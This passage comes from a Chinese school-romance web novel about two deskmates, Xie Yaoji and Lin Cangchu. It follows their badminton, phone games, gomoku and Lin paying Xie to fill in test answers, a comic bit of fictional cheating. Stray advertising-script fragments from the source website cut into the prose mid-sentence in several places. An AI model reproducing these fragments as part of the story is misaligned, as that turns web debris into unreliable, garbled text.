只是这特等奖似乎和他在电视上看的不一样——兑奖号码竟然足足有八位数。 周围的同事全都欢呼雀跃地喊他请客,只有谢遥集看着自己手里的中奖号码缓缓陷入了沉思,还不等他再多思考几秒钟,福利彩票站的大喇叭很突然地响起来震耳欲聋的庆祝音乐:“我恭喜~你~~发财~~~我恭喜你~精彩——” 刚中奖的谢遥集一个激灵,直接从梦里醒了。 睡了整整一宿的脑袋隐隐作痛,他从床上坐起来,才发现这几声“恭喜发财”根本不是什么彩票中奖庆祝音乐,而是小区楼下天天准时准点过来巡逻的垃圾车的车载大喇叭。 ……OK。到手的特等奖。 彻底没了。 窗外的太阳透过不遮光的窗帘直射到白色的被褥上,谢遥集盯着那几缕有些刺眼的阳光,忽然觉出来点儿不对劲的地方。 早上六点钟的太阳……有这么晒吗? 一直对自己生物钟引以为傲的谢会长生平第一次产生了些许怀疑,伸手按开自己放在枕头旁边的手机。 9:45。 谢遥集:“……” 谢遥集对于自己睡过头迟到的事实接受良好,他一边意犹未尽地回忆方才那个中彩票的美梦,一边深吸一口气,伸手搓了搓脸。 怎么就不能是真的呢。他心道。 划开手机锁屏,微/信和Q/Q已经被人狂轰乱炸出来了无数红点,谢遥集把睡眠模式关掉一瞬间,所有消息提示音都叠着冒出来,有同学有老师,还有他不认识的各种部门新来的学弟学妹。 谢遥集打开微/信朋友圈,把权限改成老师同学可见,删删减减地发出去一段话。 -不好意思今早不太舒服迟到,让大家担心了。 几分钟后点赞和评论的提示音叮叮当当地响,谢遥集没再管,转头打开了另一个社交软件。 同学群里不少私信他的,谢遥集把Q/Q的消息列表从头翻到尾,一条一条点进去把红色的新消息提示手动消除。 已读不回地翻到最下面的时候,谢遥集忽然动作一顿。 他看见了自己梦里的那个八位数中奖号码。 只有短短一条,混在其他人嘘寒问暖的长消息里面,给他发了个“?”。 · “所以我们这道题的答案是……看错符号的话……” 邱老师的声音断断续续地从讲台上传来,林藏初靠在椅背上,即使用胳膊支着脑袋,也还是在不断地打瞌睡。 他看了一眼自己身侧空荡荡的座位,霎时觉得更无聊了。 五分钟后,他瞧了瞧讲台上班主任的位置,腾出来左手偷偷摸向了桌屉里的手机—— 嗡。 手机在被他摸到的瞬间,忽然微弱地震动了一下。 林藏初的心在一瞬间提起又轻轻回落,屏息凝神地把手机抽出来半截。 屏幕上赫然是今早联系不上的某人的回复。 3314***629:。 林藏初:“……” 林藏初啧了一声,解锁屏幕,点进跟对方的聊天框里,最上面还挂着他两个小时前发的那条孤零零的问号。 最下面弹出来一个浅黄色的空间说说更新弹窗。 【@3314***629发布了新动态:没死,睡过了。】 林藏初:“……” 他木着脸把手机塞回了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桌屉里。 数学课即使是下课前的最后五分钟也显得无比漫长,等到老师终于拖堂结束,宣布下课的时候,林藏初已经一头栽倒地趴在了桌子上。 他找了个舒服的姿势,刚准备跟周公利用下节的英语课来个长达四十五分钟的历史性会晤,就听见班级前面的门口处骤然喧嚣起来,吵吵闹闹地传来一阵七嘴八舌的关切问怀:“谢神你来啦?”“现在身体还好吗?”“没出什么大问题吧?还是该好好休息……” 林藏初的困意被吵得消散大半,彻底睡不着了。 他直起身,视线落在远处的热闹中心,心里默默纳了个闷儿。 ……一觉睡到九点半,有哪里像不好的样子吗? 许是他盯的时间太长,谢遥集似有所感地透过人群遥遥一望,正好和林藏初对上目光。 然后林藏初就看见这位“因为睡过头所以迟到”的同学,人模狗样地朝着别人扯了个真诚的微笑,嘴上半点不打绊地回复道:“好多了,谢谢关心。” 林藏初:“……” 上课之前的预备铃叮铃铃地响起来,围在一起的学生立刻作鸟兽状哄散,英语老师的身影出现在走廊:“怎么都围在这里?” 她没带书也没带课本,只是敲了敲门框,笑眯眯地冲着班级里还在准备下节课英语阅读的学生们宣布:“这节课老师临时有点事儿,所以跟你们体育老师调了下课。” 班级里落针可闻地静了几秒,随即倏地炸开一片欢呼声:“好耶!!!!” 林藏初在这片震耳欲聋的“好耶”里默默地捂了下耳朵,然后就看见他的好同桌没事人一样地背着书包,云淡风轻地穿过整个班级参差不齐的嘈杂,走到这个几乎无人注意到的窗边角落里,拉开椅子坐下。 “你……”林藏初踌躇着开口,却被对方递了一个嘘声的手势过来。 “下节课上体育。”谢遥集没有如他料想般对两个人今早的无声交锋做出解释,聊天框里的那个句号被他轻飘飘地一笔掀过,转而换之的是另外一句自然而然出口的邀请,“要不要一起去打羽毛球?” 林藏初:“……?” 林藏初的注意力被他吸引过去了,彻底忘记了自己原本要兴师问罪的本意,指了指他,又指了指自己:“你说我?” 谢遥集挑了下眉:“你之前不是说要增进同桌感情,去不去?” 林小少爷深藏心底的胜负心也不知是被他这句话里的哪个字给挑了起来,立刻像接了决斗旗一样干脆利落地答应道:“去,为什么不去?” “——区区羽毛球,看我不杀你个片甲不留!” 他声音太大,以至于周围几米内的同学都看了过来:“?” 林藏初狠话放到一半成功被自己的口水呛到,咳嗽着坐下了。 再看旁边导致这一切的罪魁祸首,虽然用书挡着脸,但还是明显地能看见对方在笑。 林藏初:“……” 上课铃成功遮掩了林藏初忍无可忍的怒火,将他出口的脏话淹得只剩半截:“…的,谢遥集!我恨你!再接你话我就是王八羔子!” 9. Chapter 9 高三年段的体育课要说严也不严,似乎只是在临水一中强身健体的统一规定下搭了个不大不小的边儿—— 虽然每节课都要有全体站队绕操场跑圈的环节,但是老师不在,学生不齐,跑道上的队伍里凑齐多少人全凭自愿。 林藏初隔着窗户望了望外面临近中午时明媚的阳光,果断打消了“顶着大太阳跑八百米”的念头,坐在座位上没动。 从过往经验上来看,只要他拖个十分钟再下楼,就能完美避开这项惨绝人寰的健身活动—— 前提是不会被在楼道里随机巡查的政教主任抓到。 班里其他同学抱着书和习题册陆陆续续地出门,林藏初以身犯险地准备趴下睡会儿,一回头,却发现旁边向来遵纪守法的谢同学也没动。 林藏初:“?” 林藏初:“你不下去跑步?” 谢遥集把桌上的习题册翻开,面不改色地扯谎:“脚崴了。跑不了。” 林藏初:“……?” 你当我两只眼睛都瞎了? 几分钟前发过的誓犹在耳畔,林藏初决定暂时不对他这句话的真假性做出判断,幽幽地把头转回来,趴在桌子上睡了。 他这觉没睡上几分钟,梦里的游戏刚打到下路对线单杀,连第一个防御塔都没点掉,就叫人毫不留情地推醒了:“走,下楼打羽毛球。” 没有一丁点儿起床气是林藏初为数不多的优点之一,半睡半醒的人茫然睁开眼睛,发现谢遥集站在他的桌子旁边,手里拎着副不知道从哪里翻出来的羽毛球拍。 林藏初不记得自己有看见谢遥集从家里拿来过,语气染上了一丝微微迟疑:“哪儿弄的?” 谢遥集把羽毛球拍上面的灰尘掸了掸,又手动把中间歪斜的铁丝网给拨正了:“高一那年生活委员用班费买的,一直闲置着,现在也不知道能不能用。” 林藏初:“……” “你觉得它看起来——”林藏初有时候真的有点怀疑自己的价值观,他伸手晃了下其中一只羽毛球拍的握把,上面缠着的软皮胶带已经老化到劈里啪啦地往下掉渣,“是能用的样子吗??” “不试试怎么知道。”谢遥集不置可否地摆摆手,看样子是铁了心把勤俭持家的原则坚持到底,“他们现在应该跑完圈了,走,下楼。” · 两个人一前一后地出了教学楼,正好赶上橡胶跑道浩浩荡荡的大部队——队形没有,人员散乱,速度也参差不齐的情况下拖拖拉拉地跑完了一整圈。 体委和班长遥遥领先在整个班级的前面,好像在比谁能最先冲线。 谢遥集的视线在操场和班级的队伍附近转了一圈,没看见体育老师的身影。 “别找了,老师不在,这节课又是自由活动。” 旁边的林藏初还没来得及说话,就被刚从跑道上回来的英语课代表挎着脖子来了个热情的拥抱,“林哥这节课有安排不?” 林藏初被他惯性大力下勒得险些说不出来话:“要……” “他有。”谢遥集冲着人笑了笑,很自然地接过了林藏初的话头,“要跟新同桌一起打羽毛球。” “啊?林哥的新同桌不是……” 英语课代表站的位置恰巧凑了个视线死角,并没注意到一旁的谢遥集,听见声音之后才跟着有些纳闷地回头,立刻硬生生地止住了话音,“谢神你也在啊哈哈……那你们玩,我去再找找别人。” “咳!咳咳咳……”英语课代表扔了句话匆忙逃窜,林藏初被他松开之后还有些没缓过来,结果下一秒又被谢遥集拽着领子往教学楼前面没什么人的空地走。 “草,谢遥集你能不能慢——” 话音未落,谢遥集拎着他领子的力道倏地松了。 “不快点儿走。”林藏初听见他说,“万一等会儿又冒出来一堆人,把林小少爷众星捧月地哄走了怎么办?” ……这都什么跟什么啊。 林藏初的耳朵莫名其妙地有点儿红,一向擅长插诨打科的人罕见地当了回哑巴。 好在谢遥集并没接着说些什么,又往前走了十几米,留出来足够两个人打羽毛球的场地。 “好了。”他晃了晃手里奇形怪状的塑料荧光黄羽毛球,“你发还是我发?” 自打小时候跟妹妹一周玩过几次,长大后就再也没碰过这玩意的林藏初:“……都行。” 对面于是不再言语,修长手指握住羽毛球拍微微向下,俨然是个标准的高球发出姿势。 “……”林藏初忽然有点后悔当初头脑一热应下这份邀请了。 万一接不到,岂不是很没面子? 羽毛球裹着风声破空而来,几乎横跨了小半个操场,林藏初人还站在原地,盯着这颗即将碾碎他所有尊严的不速之客,下意识地举起球拍—— 十分准当地把它送了回去。 林藏初:“?” 他低头对着自己的羽毛球拍陷入沉思。 难不成自己真是天生运动圣体? 那颗羽毛球被他打回去的路线有些偏,对面谢遥集稍稍往右疾跑了几步才勉强接到,动作利落地一转身又把球打了回来。 林藏初还是没动,但是那颗羽毛球就像是长了眼睛一样地往他的拍子上撞过来,再被林小少爷一头雾水地拍回去。 几个回合下来,林藏初的信心得到了质的飞跃,手上挥球拍的力度也大胆不少,在那颗荧光羽毛球再次打着旋儿高高飞过来的时候,林藏初卯足了劲,跳起来用力一拍。 羽毛球在空中被重重击飞,划出一道优美的弧线——稳稳落在了一旁的树杈上。 谢遥集:“……” 林藏初:“……。” 刚好路过的同学跟着仰头:“嚯!林哥好臂力!” 谢遥集默默地收回了自己刚要跑去接球的脚,欲盖弥彰地替人咳嗽了一声。 被抢了台词的林藏初:“……” 面对谢遥集复杂的目光,他踌躇着站在原地不肯挪动脚步:“你相信我,真不是故意打上去的。” 谢遥集点点头:“我知道。” 远处聚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在一起接力背书的同学纷纷过来凑热闹:“这次又是谁家羽毛球上树了?” “哇,这次挂得好高!” 林·罪魁祸首·藏初小小步地往谢遥集的身后挪了下,把自己大半个身体都藏在了对方的影子里,努力缩小自己的存在感。 “实不相瞒……”谢遥集对上周围一众吃瓜群众的目光面不改色,诚恳道,“其实这个羽毛球。” “是咱班几次搬家之后硕果仅存的那一颗。” “啊???” 他话音未落,生活委员高姿立刻触发关键词一般地扒拉开人群挤进来:“你是说,就是放在讲桌下面一沓满分试卷上开过光的,每次大家考试前都要去摸几下的那个?” 从来不关注班级里热点事件的谢遥集:“……可能,大概,也许吧。” 高姿有点崩溃了:“那他妈是老娘当初跑了好几条街才买到的荧光刻字纪念款,现在已经绝版了!” 一旁的林藏初深知自己罪行深重,躲在谢遥集身后的头缩得更低了:“失手,失手……想开点儿,万一能被风刮下来呢?” 一阵风刮来,众人闻声下意识地往树上看了眼,羽毛球挂在树杈顺着风微微晃了晃,憨态可掬地跟树下的同学们打了个招呼。 众人:“……” “都让开!”体委拎着半块儿红色砖头雄赳赳气昂昂地过来了,“这种事情还是得我出马。” 围观的同学们被他散发出来的威压唬到,齐刷刷地集体后退一步。 “……他这是,要干什么?”林藏初还处在状况之外,喃喃地对着人开口。 被他抵在前面当遮掩物听了一耳朵的谢遥集:“看样子,是要把羽毛球砸下来。” 林藏初:“???” ……砸?下来? 还没等他珍爱生命地再往后退两大步,体委就像扔铅球一样胳膊一甩,把那块沉甸甸的砖借了巧劲儿地甩到了空中—— 精准地砸在了那根堪称万恶之源的树杈子上。 林藏初眼睁睁地看着树杈因为受到外部突如其来的撞击,咔嚓一声断掉了。 在高空受困了十几分钟的羽毛球哥没了束缚,轻飘飘地顺着风掉下来,卡在了下面杂草丛生的灌木丛里。 体育委员蹦跳着进去把球捡回来:“喏。” 林小少爷这辈子都没见过这么魔幻的事,一时间还有些没反应过来自己羽毛球失而复得的事实:“啊……谢谢,谢谢。” 对方爽朗一笑摆摆手:“不客气!” 围观群众陆陆续续地散了,林藏初捧着那颗命远多舛的荧光色羽毛球,全然没有了再接着打的心思。 ……风大的天气不适合打羽毛球,无风的天气更不适合打羽毛球。 谢遥集十分善解人意地把摇摇欲散的羽毛球拍从他手里接过来:“不打了?” 林小少爷面无表情地盯着他看了几秒,没说话。 “OK。”难得见这人吃瘪,谢遥集忍了忍结果没忍住,话里漏出来一点轻促的笑意,“那就不打了。” 10. Chapter 10 一班的体育课通常分为几个不同的区域:左边是卷生卷死补作业做题区,右边是狼人杀、真心话大冒险等闲人聚会区,中间是篮球羽毛球乒乓球等贯彻课程主题的运动区。 还没等中间运动区的林藏初想好接下来的这半节课到底干什么,不远处做题区里围在一起做数学题的同学堆里忽然炸出来一声斩钉截铁的肯定句。 “你信我的,这题肯定选C!” “扯淡呢,往里面带个特殊值就把C选项排除了。” 此话一出,立刻有人反唇相讥,“明显是在A和D里面选好吧。” “只有我选了B吗?” 第三个声音弱弱举手插话,引来一众ACD党派的怒目而视:“最不能选的就是B,你滚一边儿去!” B同学:“……嘤。” 一群人叽叽喳喳半天也没个结果,林藏初离得太近被一堆“过原点”“设参数方程”嗡嗡得头疼,刚想开口问他的好同桌谢遥集接下来有什么打算。 谁知那一群做题狂魔就像是醍醐灌顶地一拍脑袋:“刚才谢神是不是在这边打羽毛球来着?” “谁去把他拽过来看看这道题,快!” 正在看热闹不嫌事大的谢遥集:“?” 主张的同学一声令下,立刻有两个追随支持者几个箭步冲上前来,把隔岸观火的谢学神不由分说地从运动区拽到了做题区,让出来人群c位:“清汤大老爷在上,请速断此案!” 谢学神手里还拎着那两只羽毛球拍,被拽得一个趔趄险些直接摔地上。 站在一旁的林藏初因为学习太差而幸免于难,表情复杂地看着这堪称“集体绑架”的一幕,叹了口气。 他把视线从已经被学霸们淹没在其中、只剩了一个毛茸茸发顶的谢遥集身上移开,心里漫无边际地想:不打羽毛球干什么呢? 林小少爷往左边看,左边是抱着数学物理化学卷出来偷摸儿学习的卷王互助小组,他再往右边看,右边是抱着篮球嗷嗷大叫仿佛返祖的神金篮球组合。 林藏初:“……” 要不,还是找个凉快儿地方玩手机吧。 他在心里三言两语地决定了自己下半节课的主线任务,说干就干,视线往偌大的操场上一扫,最后缓缓锁定在了一小片恰巧落在监控盲区的树荫里。 等谢遥集按着某位同学一戳就破的草稿纸把那道选择压轴题写完的时候,距离下课已经就剩下十五分钟了。 忽视了身边同学们的叠声感谢和集体拍马屁环节,他第一时间转头往自己之前站的地方看过去,却没能看到林藏初的身影。 谢遥集皱了下眉,又往远处找了找,还是没找到。 ……这么短的时间,能去哪儿? 他伸手随便拦住了一个跑过来捡篮球的同学:“我同桌……林藏初,他回班了?” “林藏初?”周扬还是第一次被学神主动搭话,整个人都透着一种受宠若惊的喜悦,仔细回忆了几秒,“没有吧,我刚才看他从篮球架下面穿过去了。” 他指了指篮球场外面操场跑道的方向,谢遥集顺着他手指的方向看过去,果不其然在一处十分隐蔽的树荫底下看到了熟悉的身影。 校服盖腿,身体前倾,俨然是一个正在偷偷摸摸玩手机的大动作。 谢遥集:“……” 谢遥集深吸一口气,朝着人走过去。 林藏初刚在与网络九百多延迟的斗争中败下阵来,正准备点开某单机游戏另觅出路,身侧的台阶上忽然落下道阴影,紧接着余光里旧出现了一小片深红色的校服衣角:“你在干什么?” 林藏初手一抖,差点没给自己藏在校服下面的手机摔了。 他默默地抬起头,果不其然看见了自己去已经跟别人讨论题的同桌,手里的屏幕没熄,只简单地回了两个字:“玩儿呢。” 谢遥集:“……别藏了,我看到了。” 还想再挣扎一会儿的林藏初:“……” “你们学生会。”林小少爷仔细斟酌了一下自己的语气,十分谨慎地问,“应该不管这个吧?” “那真不巧了。”谢会长大尾巴狼似的朝着人笑笑,“还就是管这个的呢。” 林藏初:“……” 林藏初十分果断地要抬脚跑路,一起身手腕却被人拽住了:“哎,先别跑。” 谢遥集松松垮垮地圈着他的腕骨,无奈叹气:“没说要抓你。” “都是同桌,哪儿有那么不近人情。” 林藏初半信半疑地坐回去了:“真的?” “真的。” 谢遥集也在他身侧的台阶上坐下来:“在玩什么?” 林藏初于是把自己的宝贝手机从校服下面稍稍地露出来个边儿。 “……一个单机游戏。” 谢遥集在对方“玩别的都没有网玩不了一点”的抱怨下探身过去,长指一勾,把那部被挡在衣服下面若隐若现的手机拎了过来。 拎过来之后才发现是当季最新款的iPhone。 “……”谢遥集忽然觉得有点儿烫手。 正当他想不动声色地把手机再还给人家的时候,林藏初忽然凑了过来,视线先是落在屏幕上面的游戏难度选择界面,而后又转到谢遥集的脸上:“你也想玩吗?” 他凑过来得实在太近,谢遥集被迫盯着对方长而浓密的睫毛看了几秒,礼貌拒绝的话在嘴里压着,鬼使神差地没能说出口。 林藏初没注意到这人表情上的弯弯绕绕,热心肠地伸出手指在屏幕上前前后后地扒拉道:“不知道你之前有没有玩儿过这个游戏,我也是刚刚下载的,还没来得及玩。” “好像不是很难,你要不要试试?” 谢遥集:“?” 他低头看了看屏幕里音乐曲目名称上硕大的三个字:小星星。 “……”许是这三个字自带什么独特魅力,从小长到现在一款游戏都没碰过的人莫名其妙地生出了点儿想要挑战的欲望。 谢遥集微不可察地深吸一口气,视死如归地按上了开始键—— 二十多秒后。 林藏初看着结算界面的一颗星:“?” 他看了看谢遥集的手指头,又看了看屏幕上的分数提示,不死心道:“你再试试呢?” 又是二十多秒后。 随着一声错误音效,结算界面跳出来,赫然是两颗明亮的黄色星星。 林藏初:“……嗯,呃,那个。” 他想了半天都没想出来能夸点儿什么东西,只好违心地应承了一句:“这次挺好的。” 谢遥集敏锐地听出来他这句夸奖里的勉强 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之意,稍稍沉吟几秒,把手机递了回去:“喏,还你。” 林藏初顺着他的手接过来,非常不挑剔地把谢遥集打下来的成绩留在了那里,下滑点开第二关。 两分钟后,谢遥集看见屏幕的结算界面亮闪闪地挂上了三个皇冠。 …… 谢遥集一直到下午自习课的理综周测上,都一直在想“他为什么会打不过去小星星”这件事。 凭借自己实力往下打了一排整整齐齐三皇冠的林藏初十分善解人意,把那两颗星星单独剩在了第一关,还跟谢遥集说欢迎有空再来玩。 还说这游戏的数据不存云端,只存本地。 谢遥集:“……” 谢遥集好像头一次认识到了自己在某些方面——比如打游戏这件事上少得可怜的天赋。 直到旁边的林藏初推过来一张纸,依旧是要花心思才能勉强读懂的鬼画符,写着:第八题选啥? 谢遥集沿着那张纸往左边看过去,一直看到这人的理综答题卡上。 打眼一扫,前面做完的物理选择题七道错了六道。 谢遥集:“。” 谢遥集心里莫名多了一种诡异的平衡感。 他把那张纸条拽过来,拿着笔往上填了几个字,又重新推回去。 林藏初视若珍宝地拿着,摊开在桌面上—— 答案没见着,反倒是多了谢学神一行铁画银钩的亲笔字迹: 一题一块,买一赠二。 林藏初:“……” 林小少爷把纸条团着扔了。 过了几秒钟,又从物理书里面摸出来一张原本用来当书签的百元大钞推过去。 谢遥集专心做题做到一半,胳膊肘被人轻轻地碰了碰,他一转头,正好跟桌面交界处那张红色钞票来了个大眼瞪小眼。 谢遥集:“?” 林藏初摸了摸鼻子,目光躲闪地往旁边落了下,比着口型道:“能不能整张卷子全包?” 谢·穷困潦倒·遥集干咳两声,年级第一那点死要面子的矜持摇摇欲坠,最终还是败给了林小少爷突如其来的金钱攻击:“……能。特别能。” “我还能多帮忙写份错题集给你。” 林藏初:“呃,倒也不用那么……”服务周到。 喜提一百块的谢遥集帮金主写答案写到一半,忽然后知后觉地想出来一点不对劲。 他转头问:“以前这种模拟卷子,你不是向来不写的吗?” 林藏初已经趴在桌子上准备睡了,听见他问也没动,回答声闷闷地从压着的校服里传出来:“这傻逼理综周测成绩要发家长群的。” 谢遥集:“……多考一分,多给一百块零花钱?” 他本来是随口开玩笑的,谁知话音刚落,旁边就多了声含糊不清的“嗯”。 过了几秒,又听见对方在半睡半醒边缘嘀咕着补了句:“名次上升多少名来着,好像还可以翻倍。” 谢遥集:“?” 明明是自己问出去的话,却好像变成颗高速子弹绕弯儿拐回来,打了他一个措手不及鲜血淋漓。 谢遥集沉默了几秒:“那要是我帮你去考,钱能不能分我一半儿?” 他没能等到林藏初的回答,因为对方的呼吸已经变得规律绵长,就这么真的睡着了。 11. Chapter 11 晚自习的课表上完一轮又开始从头轮,谢遥集事先没看,等英语老师施施然踩着高跟鞋进班的时候,他才意识到今天的晚自习跟昨天一样,还是英语。 数理化做多了,就总会对语文英语这种偏文的课放松警惕,很不尊重地给人家盖一个“用来放松休息”的戳。 ——英语几乎次次满分的谢遥集也确实是这么想的。 他刚要把下午发的物理卷子拿出来,就听见讲台上头儿英语老师神神秘秘地开口:“今天不讲课了。” 下面一排或拿了别科作业出来,或翻开高考三千五英语词汇的学生齐刷刷抬头:“?” 英语老师:“大家整天学习也怪累的,这节课咱们改看电影。” 一天被两份喜悦接连砸中的一班同学:“!!!” “老天奶,我愿意一辈子都上英语课。”谢遥集听见前面的女生跟同桌激动地小声嘀咕,“能不能让老师跟其他科老师说说,把课全换成英语?” “你这个想法……有那么一点危险。”她同桌侧过身幽幽地答,“生物老师发现自己的课表缺胳膊少腿儿之后有百分之百的可能会大发雷霆。” “但是从个人的情感上来说,我支持你的观点。” 兴许是怕老师反悔,前排立刻有人自告奋勇地蹿上讲台帮老师开多媒体屏幕。 北楼的多媒体年久失修,光是启动就要花上不少时间。 其实也不是没喊学校叫人过来帮忙修过,只是维修师傅来来走走,维修过后变得正常的多媒体还是会在几天后某个平凡的日子里突然抽风,要么就是打不开,要么就是鼠标错位。 谢遥集把自己这三年里遇到的学校设施都过了一遍,竟然没能找出来一个从头到尾都好用的。 他叹了口气,抬起笔在物理选择题上勾了个C,正准备把这场全班放松性质的电影消遣当成做题背景音,旁边忽然罕见地传来一阵不大不小的翻书声。 谢遥集稍稍偏了下头,余光瞥到自己同桌的动作,这人正有一搭没一搭地把桌面的书从左边摞到右边,再从右边重新摞到左边。 林藏初看起来表情恹恹的,好像对于英语课看电影这件事并不是十分高兴。 谢遥集撕了张空白的便利贴,写字递过去: 不想看电影? 对方的摞书搭积木工程被迫叫停,低头接过去,认真地研究了几秒这份出自谢遥集之手的珍贵小纸条,捡起笔回复。 被送回来的便利贴上多了两行亲妈都难以辨认的狗爬字: 也不是不想看吧……就是,看电影要关灯。 玩不了手机了。 谢遥集:“……” 他没再回复,两个人的纸条交流就此结束了。 多媒体的蓝色屏幕慢悠悠地开了机,坐在窗边的同学自发地站起来,“唰啦”一声拉上窗帘。 教室在一瞬间暗了大半,林藏初也跟着站起来,踮脚去够被风吹到前面去的白色碎花窗帘。 傍晚带着凉意的风打着旋儿从敞开的窗口溜进来,轻轻蹭过他头顶有些凌乱的柔软碎发,林藏初伸手一抓,把飘起来的劣质窗帘从前桌同学的身侧拽进掌心,转头问道: “……我把窗户关上了?” 询问的语气,谢遥集倏地回过神来,晚了几秒,才意识到自己落在这人身上过于长久的视线:“好。” 班级里门窗紧闭,窗帘被拉上之后讲台上方两只刺眼晃人的长条白炽灯也被老师按掉,在天花板上留下几道渐渐消失的残光。 幕布上放的是部默剧。 卓别林的《淘金记》。英语书里有篇阅读文章,恰好讲过。 谢遥集对这种类型的电影其实不大有兴趣,但是莫名其妙就对那篇文章有很深的印象。 ——因为向来不提问点人的英语老师在那天恰巧抽查翻译,一点就点到了个一窍不通的英语学渣。 坐在教室后排的学渣支支吾吾地站起来,硬着头皮磕巴读了两句,音色是挺好听,但翻译水准堪比谢遥集烂泥扶不上墙的游戏水平,有种“每个字都是中文但是合在一起就听不懂”的奇特韵味。 谢遥集的眼睛在看屏幕上放着的电影,脑袋却在自己遥远的记忆里大海捞针,冥思苦想道:老师当时叫的到底是谁来着? 没等他想出来个所以然,左边的林藏初就把手指伸过来,慢吞吞地敲了敲谢遥集的桌子。 整个教室都是昏暗的,谢遥集的视线顺着他的胳膊下意识移了上去,落在这人五官精致的脸上。 他心里关于过去英语课的那点儿追忆情怀还没散,此时无缘无故地把林藏初与当初站起来翻译课文的“英语学渣”严丝合缝地嵌在了一起—— 好像,这俩还真就是一个人。 记忆里的“英语学渣”将自己越界的手指缩了回去,转而拎出来一张用格尺画得无比端正的方格纸,问:“要不要玩游戏?” 谢遥集猝不及防地被这个人从伤春悲秋的氛围里彻底扯了出来:“?” 实话说,他现在已经对“游戏”两个字产生了一点类似于耗子见猫的恐惧感,但尊严如谢遥集绝不可能就这么承认。 于是他依旧脸色未变,气定神闲地回问道:“什么游戏?” 林藏初很是自豪地把耗费了自己十分钟心血绘制而成的棋盘拍到两个人桌面相接的三八线上:“五子棋,玩不玩?” 五子棋。 不是什么其他稀奇古怪没听说过的游戏,谢遥集不知为何松了口气。 他把自己面前写了一半的物理卷子往右挪了挪,好让出来足够两个人活动的地方。 “好啊,可以玩。” 林藏初是真的无聊了,听见他这话眼睛都跟着亮了亮:“来!” “你先下!” 林小少爷扔过去一只还没开封的红油笔,被对方眼疾手快地接住,端端正正地在方格纸正中央画了个标准的圆。 三分钟后。 林藏初盯着纸上斜着的五个红圈,纳闷儿道:“怎么就成一条了?” “左边这个空位,你没来得及堵。”赢家谢遥集点了点黑红相间的一小片圆圈,语气温和地解释道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 林藏初恍然大悟:“那我下次注意!” 又是三分钟过去。 红色圈额外巧妙地连成了两条三连子,堵左边就堵不住右边,堵上面就要错过下面。 林藏初:“……” 林藏初缓缓深吸一口气:“有点大意了,不行,再来一把。” ——战绩进行到第四局。 林小少爷握着笔的手停在了半空。 他瞪着眼睛看着这一局对方在纸上画好的四个红色圆圈:“……” 四战四败的人恼羞成怒地伸手去抢人家手上的笔:“这局不算!重来!” …… “啊啊啊啊这局也不算!重新来!” …… ………… “不是,为什么啊!” 打了十把输了十把,林藏初有些破防地摔了自己手里的蓝色中性笔。 他指着一脸无辜表情的谢遥集,咬牙切齿:“最后一把!这回我先下,再不赢我就不姓林!” ……又是战况激烈的两分钟过去。 蓝色的圆圈终于成了一把五连,散落在各处的红色笔迹东一榔头西一棒槌,看着活像是一整局都只顾防守,以致于在对方的步步紧逼下溃不成军。 林藏初的兴奋语气淹在班级同学遇见喜剧片段的大笑声里:“哈!赢了!” “……” 这个人,好像无论什么时候都能很轻易地被满足,就连一点儿小小的让步也会甘之如饴。 谢遥集撑着脑袋看他,话里捎了点儿眉眼微弯的笑意:“嗯,赢了就好。” 沉浸在绝地翻盘的喜悦之中的林小少爷没仔细去想对方这句话里的深意,把纸一收笔一捡,心满意足地加入全班同学的大部队,一起看喜剧电影去了。 剧情正演到主角在满是风雪的半山腰上煮皮鞋。 林藏初看着看着就又开始神游天外,心思全飘在了方才两个人画得满是红蓝笔迹的方格纸上。 对方的身上总是带着一点儿好闻的植物香皂的味道,凑过来在方格纸上圈画落子处的时候,浅淡的香气就会若有若无地钻进鼻腔里。 林藏初没用过香皂,只是很小的时候在外婆家看长辈到院子里洗衣服,泡沫从水里哗啦啦地溢出来,整个空气里都是这种肥皂的清香。 似乎谢遥集……好像也没有他想象中的那么让人讨厌。 屏幕上的黑白默剧还在继续,林藏初抵着下巴趴在桌子上,拿着方才跟人一起下棋的笔在草稿纸上涂涂画画,空白的纸张上莫名其妙地被他勾出来一个憨态可掬的戴眼镜小人。 他悄悄地瞥了一眼旁边的谢遥集,见对方仍在低头写物理题,并没往这边看。 蓝色中性笔缓慢地划了几道,戴眼镜小人旁边多出来几个长得很妖魔鬼怪的字: 学习好的讨厌鬼。 “讨厌”一词被人刻意地加重了笔迹,过了一会儿,又被人轻轻圈出来,迟疑着打了个问号。 ……和谢遥集当一整个学期的好同桌,好像也不是不可以。他心想。 12. Chapter 12 开学典礼之后就是临水一中每年都会举办一次的秋季运动会。 相较于其他班级锣鼓喧嚣、热闹非凡的赛前准备工作,高三(1)班显然要安静得多。 网购回来的裁判班服七扭八歪地堆在讲桌上,还没来得及分。 生活委员高姿站在讲台上,正对着名单念:“S码,四件。分别是……” 今天上午的太阳不知怎地额外烈,林藏初有一搭没一搭地听着,被从窗外照进来的阳光晃得有些昏昏欲睡。 他的视线从讲桌上那堆用透明袋子装着的衣服移到黑板上方的“好好学习,天天向上”,短暂地停留了几秒,又转头看向窗户外面。 昨天还空旷的操场此时已经大变样,靠近南北教学楼的两侧用带着彩旗的绳子圈出来各个班级的场地,里面摆满了挤挤挨挨的桌椅,被各色气球和荧光棒装饰得十分喜庆。 林藏初收回视线,皱着脸叹了口气。 ——这一堆喜庆的班级场地里没有他们班的位置。 原因无他,学校对高三唯二的两个火箭实验班看重太过,因此坚决防微杜渐,杜绝这半年里任何会影响到这两个班级高考的外界因素—— 万一哪个学生参加运动会的时候把自己摔了,一躺就是仨月怎么办? 对此,学校领导大手一挥,干脆把这两个班级单独拽出来,征公成了校运动会的裁判和工作人员。 高二那年林藏初有幸看见一群白色衣服在操场上跑来跑去,没成想一年过去,自己也成了跑来跑去的那帮人之一。 “……林藏初,到你了。”前座的谢悠逸忽然回过头来怼了怼他的胳膊,“生活委员喊三遍了,你怎么不上去领衣服?” “啊,知道了。”林藏初恍然回过神,从窗边站起身来。 他身侧的座位是空的,谢遥集身为学生会主席,有关校运动会要忙的事只多不少,林藏初几乎整个上午都没见到这人的影子。 